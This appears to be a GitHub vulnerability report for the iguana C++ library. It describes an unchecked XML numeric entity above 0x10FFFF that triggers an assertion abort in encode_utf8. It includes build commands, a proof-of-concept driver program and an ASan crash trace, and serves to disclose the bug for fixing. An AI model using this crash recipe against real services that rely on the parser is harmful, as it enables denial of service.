iguana
iguana copied to clipboard
Assertion in from_xml using iguana::parse_escape_xml
Summary
iguana::parse_escape_xml decodes XML numeric entities into UTF-8 without validating the upper bound. Entities above 0x10FFFF trip an assertion in encode_utf8, aborting the process and enabling a trivial denial of service for consumers of the XML reader.
Versions
Versions tested and affected:
- 1.09
- latest git master
$ git rev-parse HEAD
4b6fb4dfe96485d727f5e5cb5bff7b8e2a62783c
Build and test platform
Ubuntu 24.04.3
Test case
$ clang++ -std=c++20 -g -O1 -fsanitize=address -I. \
-o tool/pocs/poc_driver tool/pocs/poc_driver.cpp
$ ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 \
./tool/pocs/poc_driver xml xml_invalid_entity.xml
#include <cstdint>
#include <fstream>
#include <iostream>
#include <map>
#include <optional>
#include <sstream>
#include <string>
#include <vector>
#include "iguana/json_reader.hpp"
#include "iguana/xml_reader.hpp"
#include "iguana/yaml_reader.hpp"
namespace poc {
struct NetworkRoute {
std::string address;
std::vector<int> ports;
bool secure;
};
YLT_REFL(NetworkRoute, address, ports, secure);
struct Credential {
std::string user;
std::optional<std::string> secret;
std::vector<uint8_t> salt;
};
YLT_REFL(Credential, user, secret, salt);
struct Telemetry {
std::vector<double> metrics;
std::vector<float> readings;
std::optional<std::string> last_error;
};
YLT_REFL(Telemetry, metrics, readings, last_error);
struct ServiceConfig {
std::string name;
std::map<int, Credential> fallback_credentials;
std::vector<NetworkRoute> routes;
Telemetry telemetry;
};
YLT_REFL(ServiceConfig, name, fallback_credentials, routes, telemetry);
struct SerConfig {
std::string name;
};
YLT_REFL(SerConfig, name);
std::string read_file(const std::string &path) {
std::ifstream ifs(path, std::ios::binary);
if (!ifs) {
throw std::runtime_error("failed to open " + path);
}
std::ostringstream oss;
oss << ifs.rdbuf();
return oss.str();
}
} // namespace poc
int main(int argc, char **argv) {
if (argc != 3) {
std::cerr << "Usage: " << argv[0]
<< " <json|xml|yaml-map|yaml-str> <path>\n";
return 1;
}
const std::string mode = argv[1];
const std::string path = argv[2];
const std::string payload = poc::read_file(path);
try {
if (mode == "json") {
poc::ServiceConfig cfg;
iguana::from_json(cfg, payload);
} else if (mode == "xml") {
poc::SerConfig cfg;
iguana::from_xml(cfg, payload);
} else if (mode == "yaml-map") {
poc::ServiceConfig cfg;
iguana::from_yaml(cfg, payload);
} else if (mode == "yaml-str") {
poc::ServiceConfig cfg;
iguana::from_yaml(cfg, payload);
} else {
std::cerr << "unknown mode: " << mode << "\n";
return 1;
}
} catch (const std::exception &ex) {
std::cerr << "parser threw: " << ex.what() << "\n";
return 0;
}
std::cout << "parsed successfully\n";
return 0;
}
PoC input: xml_invalid_entity.xml
Latest git master
Confirmed by aborted run (assert inside ASan build):
poc_driver: ./iguana/detail/utf.hpp:46: void iguana::encode_utf8(...):
Assertion `codepoint <= 0x10FFFF' failed.
#0 iguana::encode_utf8<char, std::string>
#1 iguana::parse_escape_xml(...)
#2 iguana::detail::xml_parse_value(...)
#3 iguana::from_xml<poc::SerConfig>(...)